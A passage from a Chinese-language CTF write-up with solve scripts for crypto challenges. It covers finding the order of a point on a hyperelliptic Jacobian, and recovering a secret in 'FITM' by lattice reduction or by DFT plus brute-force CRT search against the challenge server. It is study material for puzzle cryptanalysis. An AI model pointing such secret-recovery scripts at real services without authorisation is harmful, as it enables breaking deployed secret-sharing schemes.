parse_poly_str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">U_str</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> R</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> parse_poly_str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">V_str</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> R</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> congruences</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">append</span><span class="z-punctuation">((</span><span class="z-meta z-function-call z-arguments z-python">V</span><span class="z-keyword z-operator">**</span><span class="z-constant z-numeric">2</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> U</span><span class="z-punctuation">))</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Got point </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">i</span><span class="z-keyword z-operator">+</span><span class="z-constant z-numeric">1</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> remainders</span><span class="z-punctuation">,</span><span class="z-source"> moduli</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> zip</span><span class="z-punctuation">(</span><span class="z-keyword z-operator">*</span><span class="z-meta z-function-call z-arguments z-python">congruences</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> f</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> CRT_list</span><span class="z-punctuation">(</span><span class="z-support z-type z-python">list</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">remainders</span><span class="z-punctuation">),</span><span class="z-support z-type z-python"> list</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">moduli</span><span class="z-punctuation">)).</span><span class="z-meta z-function-call z-python">monic</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Recovered polynomial f(x) = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">f</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # --- Part 3: Find True Order of G and Solve ---</span></span> <span class="giallo-l"><span class="z-source"> H</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> HyperellipticCurve</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">f</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # CORRECTED LINE: Use the Frobenius polynomial as you suggested.</span></span> <span class="giallo-l"><span class="z-source"> group_order</span><span class="z-keyword z-operator"> =</span><span class="z-support z-function z-builtin z-python"> sum</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">H</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">frobenius_polynomial</span><span class="z-punctuation">())</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Full Jacobian group order is: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">group_order</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # We still need the Jacobian object to work with its elements.</span></span> <span class="giallo-l"><span class="z-source"> J</span><span class="z-keyword z-operator"> =</span><span class="z-source"> H</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">jacobian</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;&gt; &#39;</span><span class="z-punctuation">,</span><span class="z-storage z-type z-string z-python"> b</span><span class="z-punctuation z-definition z-string z-string">&#39;2&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> </span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Parse the point G from server output</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;(G.U, G.V) = (&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> line</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;)&#39;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> drop</span><span class="z-keyword z-operator">=</span><span class="z-constant z-language z-python">True</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-source"> gu_str</span><span class="z-punctuation">,</span><span class="z-source"> gv_str</span><span class="z-keyword z-operator"> =</span><span class="z-source"> line</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">split</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&#39;, &#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> G_U</span><span class="z-punctuation">,</span><span class="z-source"> G_V</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> parse_poly_str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">gu_str</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> R</span><span class="z-punctuation">),</span><span class="z-meta z-function-call z-python"> parse_poly_str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">gv_str</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> R</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Received point G: U=</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">G_U</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">, V=</span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">G_V</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Create the point G as a Jacobian element in Sage</span></span> <span class="giallo-l"><span class="z-source"> G_sage</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> J</span><span class="z-punctuation">([</span><span class="z-meta z-function-call z-arguments z-python">G_U</span><span class="z-punctuation">,</span><span class="z-meta z-function-call z-arguments z-python"> G_V</span><span class="z-punctuation">])</span></span> <span class="giallo-l"><span class="z-source"> identity</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> J</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">0</span><span class="z-punctuation">)</span><span class="z-punctuation z-definition z-comment z-comment"> # Identity element</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # Find the true order by factoring the group order</span></span> <span class="giallo-l"><span class="z-source"> order_candidate</span><span class="z-keyword z-operator"> =</span><span class="z-source"> group_order</span></span> <span class="giallo-l"><span class="z-source"> prime_factors</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> factor</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">order_candidate</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Factoring group order: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">prime_factors</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> p_factor</span><span class="z-punctuation">,</span><span class="z-source"> exponent</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-source"> prime_factors</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> for</span><span class="z-source"> _</span><span class="z-keyword z-control z-flow z-python"> in</span><span class="z-support z-function z-builtin z-python"> range</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">exponent</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-source"> test_order</span><span class="z-keyword z-operator"> =</span><span class="z-source"> order_candidate</span><span class="z-keyword z-operator"> //</span><span class="z-source"> p_factor</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-punctuation"> (</span><span class="z-source">test_order</span><span class="z-keyword z-operator"> *</span><span class="z-source"> G_sage</span><span class="z-punctuation">)</span><span class="z-keyword z-operator"> ==</span><span class="z-source"> identity</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> order_candidate</span><span class="z-keyword z-operator"> =</span><span class="z-source"> test_order</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">info</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Order is divisible by </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">p_factor</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">. New candidate: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">order_candidate</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> else</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> true_order</span><span class="z-keyword z-operator"> =</span><span class="z-source"> order_candidate</span></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;Found true order of G: </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">true_order</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvuntil</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;Give me the order !&#39;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">sendlineafter</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">b</span><span class="z-punctuation z-definition z-string z-string">&#39;&gt;&#39;</span><span class="z-punctuation">,</span><span class="z-support z-type z-python"> str</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">true_order</span><span class="z-punctuation">).</span><span class="z-meta z-function-call z-python">encode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-source"> log</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">success</span><span class="z-punctuation">(</span><span class="z-punctuation z-definition z-string z-string">&quot;Correct order sent! Receiving flag...&quot;</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> flag</span><span class="z-keyword z-operator"> =</span><span class="z-source"> conn</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">recvall</span><span class="z-punctuation">()</span></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">flag</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">decode</span><span class="z-punctuation">())</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python">if</span><span class="z-support z-variable z-magic z-python"> __name__</span><span class="z-keyword z-operator"> ==</span><span class="z-punctuation z-definition z-string z-string"> &quot;__main__&quot;</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-meta z-function-call z-python"> solve</span><span class="z-punctuation">()</span></span></code></pre><h2 id="fitm">FITM</h2> <p>也有人用格，但我不会格，于是爆！注意优化一下内存和 GoRoutine 数量即可，中间试过写jsonRPC，但 SageMath 环境下，暴露有些问题，于是还是古法 stdio….</p> <blockquote> <p>但显然，格更有含量，这个方案插个队</p> </blockquote> <h3 id="fang-fa-1">方法 1</h3> <h2 id="jie-duan-yi-shou-ji-hou-xuan-yu-shu">阶段一：收集候选余数</h2> <p>对每一次与服务器的交互（对应素数 $p_i$），服务器返回一个 16 次多项式</p> <p>$$ f_i(x)=\sum_{j=0}^{16}c_{i,j}x^{j}\pmod{p_i}, $$</p> <p>其中系数 $c_{i,j}$ 大约有 640 位。 秘密 $s$（同样约 640 位）被随机嵌入在 $x^5$–$x^{11}$ 中的某个系数 $c_{i,k_i}$（$k_i\in{5,\dots,11}$）上。</p> <p>由于 <strong>系数大小 $\sim 2^{640}$ 远大于模数 $\sim 2^{64}$</strong>，我们可以利用这一定量差异。</p> <h3 id="1-cha-xun-dian-zhi">1. 查询点值</h3> <p>选取 12 个点</p> <p>$$ x=m,\quad m=1,\dots ,12, $$</p> <p>并得到对应的 12 条共享</p> <p>$$ f_i(m)\equiv y_m\pmod{p_i}\qquad (m=1,\dots ,12). $$</p> <h3 id="2-xiao-xi-shu-cha-zhi">2. 小系数插值</h3> <p>使用拉格朗日插值构造唯一的次数 $\le 11$ 多项式</p> <p>$$ Q_i(x);,\qquad \deg Q_i\le 11, $$</p> <p>使得</p> <p>$$ Q_i(m)\equiv y_m\pmod{p_i}\quad (m=1,\dots,12). $$</p> <p>其系数均在 $[0,p_i-1]$ 之内，故称为“小”多项式。</p> <h3 id="3-gou-zao-ge">3. 构造格</h3> <p>设</p> <p>$$ h(x)=f_i(x)-Q_i(x). $$</p> <p>由于</p> <p>$$ h(m)=f_i(m)-Q_i(m)\equiv0\pmod{p_i}\quad(m=1,\dots,12), $$</p> <p>在模 $p_i$ 意义下</p> <p>$$ M(x)=\prod_{m=1}^{12}(x-m) $$</p> <p>整除 $h(x)$。在整数环里</p> <p>$$ h(x)=G(x)M(x),\qquad \deg G=4, $$</p> <p>于是 $h$ 的系数向量位于由</p> <p>$$ M(x),;xM(x),;x^{2}M(x),;x^{3}M(x),;x^{4}M(x) $$</p> <p>张成的 5‑维格 $L_i$ 中。</p> <h3 id="4-zai-ge-zhong-xun-zhao-hou-xuan">4. 在格中寻找候选</h3> <p>记 $q$ 为 $Q_i(x)$ 的系数向量，$h_j=c_{i,j}-q_j$ 为大系数。 对每个可能的秘密位置 $k\in{5,\dots,11}$：</p> <ol> <li>目标向量 $t=-q$。</li> <li>在格 $L_i$ 中解最近向量问题 (CVP)，得到一个向量 $h$ 与真实系数相近。</li> <li>复原</li> </ol> <p>$$ c_{i,j}=h_j+q_j, \qquad s_{i,k}=c_{i,k}\bmod p_i . $$</p> <p>对每个素数 $p_i$（共 17 个），可得到 7（即 12‑点插值产生的 7 种）候选余数 $s_{i,k}$。</p> <hr /> <h2 id="jie-duan-er-ge-gong-ji-qiu-jie-zui-zhong-mi-mi">阶段二：格攻击求解最终秘密</h2> <p>我们已经得到 17 组候选余数 ${s_{i,k}}$（$i=1,\dots,17$，$k=5,\dots,11$）。 目标是从每组中选出恰好一个，利用 CRT 合成唯一的 640 位整数 $S$。</p> <h3 id="1-bian-liang-mo-xing">1. 变量模型</h3> <p>引入二进制选择变量</p> <p>$$ b_{i,k}\in{0,1},\qquad \sum_{k=5}^{11}b_{i,k}=1\quad (i=1,\dots,17). $$</p> <p>则</p> <p>$$ S\equiv\sum_{i=1}^{17}\sum_{k=5}^{11}b_{i,k}, s_{i,k}\pmod{p_i}\quad (i=1,\dots,17). $$</p> <h3 id="2-crt-he-bing">2. CRT 合并</h3> <p>令</p> <p>$$ M=\prod_{i=1}^{17}p_i, \qquad C_i=\frac{M}{p_i}\bigl(\tfrac{M}{p_i}\bigr)^{-1}\bmod p_i, $$</p> <p>则</p> <p>$$ S\equiv\sum_{i=1}^{17}\Bigl(\sum_{k=5}^{11}b_{i,k}s_{i,k}\Bigr)C_i\pmod{M}. $$</p> <p>设基准选取 $k=5$：</p> <p>$$ b_{i,5}=1-\sum_{k=6}^{11}b_{i,k}, $$</p> <p>代入并整理得到</p> <p>$$ S=S_{0}+\sum_{i=1}^{17}\sum_{k=6}^{11}b_{i,k}, d_{i,k} - K,M, \tag{1} $$</p> <p>其中</p> <ul> <li>$S_{0}$ 为全部取 $k=5$ 时的 CRT 结果；</li> <li>$d_{i,k}$ 为切换为 $k$ 相对于基准 $5$ 的差值；</li> <li>$K$ 为任意整数。</li> </ul> <p>式 (1) 中共 102 个二进制变量 $b_{i,k}$（$i=1,\dots,17$，$k=6,\dots,11$）和一个整数变量 $K$。</p> <h3 id="3-gou-zao-ge-1">3. 构造格</h3> <p>构造 $103\times103$ 的下三角矩阵</p> <p>$$ B= \begin{pmatrix} 2 &amp; &amp; &amp; &amp; &amp; d_{1,6} \ &amp; 2 &amp; &amp; &amp; &amp; d_{1,7} \ &amp; &amp; \ddots &amp; &amp; &amp; \vdots\ &amp; &amp; &amp; 2 &amp; &amp; d_{17,11}\ &amp; &amp; &amp; &amp; 1 &amp; -M \end{pmatrix}, $$</p> <ul> <li>前 102 行对应变量 $b_{i,k}$（对角线为 2 用于惩罚非 0/1 解）；</li> <li>第 103 行对应 $K$（系数 $-M$）。</li> </ul> <p>在该格中搜索短向量（例如使用 LLL）即可得到满足 (1) 且使</p> <p>$$ 0\le S&lt;2^{640} $$</p> <p>的解。短向量的前 102 维即为所求的 ${b_{i,k}}$，第 103 位为 $K$。</p> <h3 id="4-hui-fu-mi-mi">4. 恢复秘密</h3> <p>把得到的 ${b_{i,k}}$ 代入 (1) 计算</p> <p>$$ S=S_{0}+\sum_{i,k}b_{i,k},d_{i,k} - K,M, $$</p> <p>即可得到原始的 640 位整数 $S$。将其转为十六进制并提交给服务器的 <strong>Verify</strong> 接口即可完成验证。</p> <hr /> <h3 id="fang-fa-2">方法 2</h3> <p>这道题目的名称 “FITM” 暗示了中间人攻击（Man-in-the-Middle），flag 也印证了这点，但我们队伍的实际解法是一种利用数论技巧和暴力搜索相结合的方法来解决一个隐藏数字问题 (Hidden Number Problem)。</p> <h4 id="jie-ti-si-lu-1"><strong>解题思路</strong></h4> <p>我们的目标是找到一个640位的秘密整数 $S$。我们可以与一个服务器进行交互，该服务器知道一个隐藏的多项式 $P(x) = \sum_{i=5}^{11} a_i x^i$，其中系数 $a_i$ 是整数。</p> <hr /> <h4 id="di-yi-bu-li-yong-dfthui-fu-duo-xiang-shi-xi-shu-mo-p"><strong>第一步：利用DFT恢复多项式系数模p</strong></h4> <p>我们可以向服务器发送一个素数 $p$ 和12个求值点，服务器会返回多项式 $P(x)$ 在这些点上的值（模 $p$）。为了高效地恢复系数 $a_i \pmod p$，我们可以利用<strong>离散傅里叶变换 (DFT)</strong>。</p> <p>具体策略是：</p> <ol> <li>选择一个特殊的64位素数 $p$，使得 $p-1$ 是12的倍数。这保证了在有限域 $GF(p)$ 中存在一个12次本原单位根 $\omega$ (primitive 12th root of unity)。</li> <li>我们将12个点 ${\omega^0, \omega^1, \dots, \omega^{11}}$ 发送给服务器。</li> <li>服务器返回 $y_k = P(\omega^k) \pmod p$ for $k=0, \dots, 11$。</li> <li>这组 $(y_0, \dots, y_{11})$ 正是多项式系数序列 $(a_0, \dots, a_{11})$ 的离散傅里叶变换（注意 $a_0, \dots, a_4$ 均为0）。</li> <li>我们可以通过<strong>逆离散傅里叶变换 (IDFT)</strong> 公式来恢复系数 $a_m \pmod p$： $$a_m \equiv \frac{1}{12} \sum_{k=0}^{11} y_k \omega^{-mk} \pmod p$$</li> </ol> <blockquote> <p>不是我们，是 @法里树，这种方法我真想不出来</p> </blockquote> <p>通过这个方法，对于每一个我们选择的素数 $p_i$，我们都可以计算出该多项式的7个非零系数模 $p_i$ 的值，记为 ${c_{i,5}, c_{i,6}, \dots, c_{i,11}}$。</p> <hr /> <h4 id="di-er-bu-gou-jian-guan-yu-mi-mi-sde-tong-yu-fang-cheng-zu"><strong>第二步：构建关于秘密S的同余方程组</strong></h4> <p>这是解法的核心假设：对于我们选择的任意一个素数 $p_i$，秘密整数 $S$ 模 $p_i$ 的值，恰好等于我们恢复出的7个系数模 $p_i$ 的值之一。 $$S \equiv c_{i,j} \pmod{p_i}, \quad \text{for some unknown } j \in {5, 6, \dots, 11}$$ 由于我们不知道对于每个 $p_i$， $S$ 到底对应哪一个系数，所以对于每个 $p_i$，我们都得到了一个关于 $S \pmod{p_i}$ 的候选值集合 ${c_{i,5}, \dots, c_{i,11}}$。</p> <p><code>solve5.sage</code> 脚本执行了11次这个过程，使用了11个不同的素数 $(p_1, \dots, p_{11})$，从而建立了一个庞大的、带有选择分支的同余方程系统： $$\begin{cases} S \equiv c_1 \pmod{p_1}, &amp; c_1 \in {c_{1,5}, \dots, c_{1,11}} \ S \equiv c_2 \pmod{p_2}, &amp; c_2 \in {c_{2,5}, \dots, c_{2,11}} \ \vdots \ S \equiv c_{11} \pmod{p_{11}}, &amp; c_{11} \in {c_{11,5}, \dots, c_{11,11}} \end{cases}$$</p> <hr /> <h4 id="di-san-bu-bao-li-sou-suo-yu-zhong-guo-sheng-yu-ding-li-qiu-jie"><strong>第三步：暴力搜索与中国剩余定理求解</strong></h4> <p>上述系统中的路径总数是 $7^{11} \approx 1.9 \times 10^9$，这是一个非常巨大的搜索空间。</p> <ol> <li><strong>暴力搜索</strong>: <code>solver4_final.go</code> 程序实现了一个并行的<strong>深度优先搜索 (DFS)</strong> 来遍历这个巨大的搜索树。树的每一层对应一个素数 $p_i$，有7个分支，每个分支对应一个候选的系数值 $c_{i,j}$。</li> <li><strong>中国剩余定理 (CRT)</strong>: 对于搜索树中的每一条完整路径（即为每个 $p_i$ 选择一个 $c_i$），我们都得到一个确定的同余方程组。Go 程序利用 CRT 解出这个方程组，得到一个唯一的 $S$ 的候选值（模 $\prod p_i$）。</li> <li><strong>验证</strong>: 程序会验证解出的 $S$ 是否为一个正的、小于 $2^{640}$ 的整数。第一个满足条件的 $S$ 就被认为是正确的秘密。</li> </ol> <p>由于计算量巨大，使用编译型语言 Go 并利用多核 CPU 进行并行计算是成功破解此题的关键。Sage 脚本负责与服务器交互和进行数论预计算，而 Go 程序则作为后台的计算引擎，负责解决组合爆炸问题。</p> <pre class="giallo z-code"><code data-lang="shellscript"><span class="giallo-l"><span class="z-entity z-name z-function">go</span><span class="z-string"> build -o solver4_final solver4_final.go</span><span class="z-keyword z-operator"> ||</span><span class="z-entity z-name z-function"> chmod</span><span class="z-string"> +x ./solve5.sage</span><span class="z-keyword z-operator"> ||</span><span class="z-entity z-name z-function"> ./solve5.sage</span></span></code></pre><pre class="giallo z-code"><code data-lang="python"><span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment">#!/usr/bin/env sage</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Filename: solve5.sage</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># Precise imports</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> pwnlib</span><span class="z-punctuation">.</span><span class="z-source">tubes</span><span class="z-punctuation">.</span><span class="z-source">remote</span><span class="z-keyword"> import</span><span class="z-source"> remote</span></span> <span class="giallo-l"><span class="z-keyword">from</span><span class="z-source"> Crypto</span><span class="z-punctuation">.</span><span class="z-source">Util</span><span class="z-punctuation">.</span><span class="z-source">number</span><span class="z-keyword"> import</span><span class="z-source"> getPrime</span><span class="z-punctuation">,</span><span class="z-source"> isPrime</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> sys</span></span> <span class="giallo-l"><span class="z-keyword">import</span><span class="z-source"> subprocess</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"># --- Configuration ---</span></span> <span class="giallo-l"><span class="z-source">HOST</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string z-string"> &quot;fitm.chal.idek.team&quot;</span></span> <span class="giallo-l"><span class="z-source">PORT</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 1337</span></span> <span class="giallo-l"><span class="z-source">N_INTERACTIONS</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 11</span></span> <span class="giallo-l"><span class="z-source">GO_SOLVER_PATH</span><span class="z-keyword z-operator"> =</span><span class="z-punctuation z-definition z-string z-string"> &quot;./solver4_final&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-storage z-type z-function z-python">def</span><span class="z-entity z-name z-function"> get_candidates_and_feed_solver</span><span class="z-punctuation">(</span><span class="z-variable z-parameter">io</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> go_stdin</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-string"> Performs one interaction with the server to get shares, calculates</span></span> <span class="giallo-l"><span class="z-string"> candidates using FFT/DFT, and writes the result to the Go solver&#39;s stdin.</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-string"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 1. Find a special 64-bit prime p where p-1 is divisible by 12</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> while</span><span class="z-constant z-language z-python"> True</span><span class="z-punctuation">:</span></span> <span class="giallo-l"><span class="z-source"> k</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> getPrime</span><span class="z-punctuation">(</span><span class="z-constant z-numeric">60</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> p</span><span class="z-keyword z-operator"> =</span><span class="z-constant z-numeric"> 12</span><span class="z-keyword z-operator"> *</span><span class="z-source"> k</span><span class="z-keyword z-operator"> +</span><span class="z-constant z-numeric"> 1</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> if</span><span class="z-source"> p</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-python">bit_length</span><span class="z-punctuation">()</span><span class="z-keyword z-operator"> ==</span><span class="z-constant z-numeric"> 64</span><span class="z-keyword z-operator z-logical z-python"> and</span><span class="z-meta z-function-call z-python"> isPrime</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">):</span></span> <span class="giallo-l"><span class="z-keyword z-control z-flow z-python"> break</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-support z-function z-builtin z-python"> print</span><span class="z-punctuation">(</span><span class="z-storage z-type z-string z-python">f</span><span class="z-string">&quot;[*] Using special prime p = </span><span class="z-constant z-character z-format z-placeholder z-other z-python">{</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-constant z-character z-format z-placeholder z-other z-python">}</span><span class="z-string">&quot;</span><span class="z-punctuation">,</span><span class="z-variable z-parameter"> file</span><span class="z-keyword z-operator">=</span><span class="z-meta z-function-call z-arguments z-python">sys</span><span class="z-punctuation">.</span><span class="z-meta z-function-call z-arguments z-python">stderr</span><span class="z-punctuation">)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span class="z-punctuation z-definition z-comment z-comment"> # 2. In GF(p), find a primitive 12th root of unity (w)</span></span> <span class="giallo-l"><span class="z-source"> F</span><span class="z-keyword z-operator"> =</span><span class="z-meta z-function-call z-python"> GF</span><span class="z-punctuation">(</span><span class="z-meta z-function-call z-arguments z-python">p</span><span class="z-punctuation">)</span></span> <span class="giallo-l"><span class="z-source"> PR</span><span class="z-punctuation">.</span><span class="z-keyword z-operator">&lt;</span><span class="z-source">x</span><span class="z-keyword z-operator">&gt; =</span><span class="z-meta z-function-call z-python"> PolynomialRing</span><span 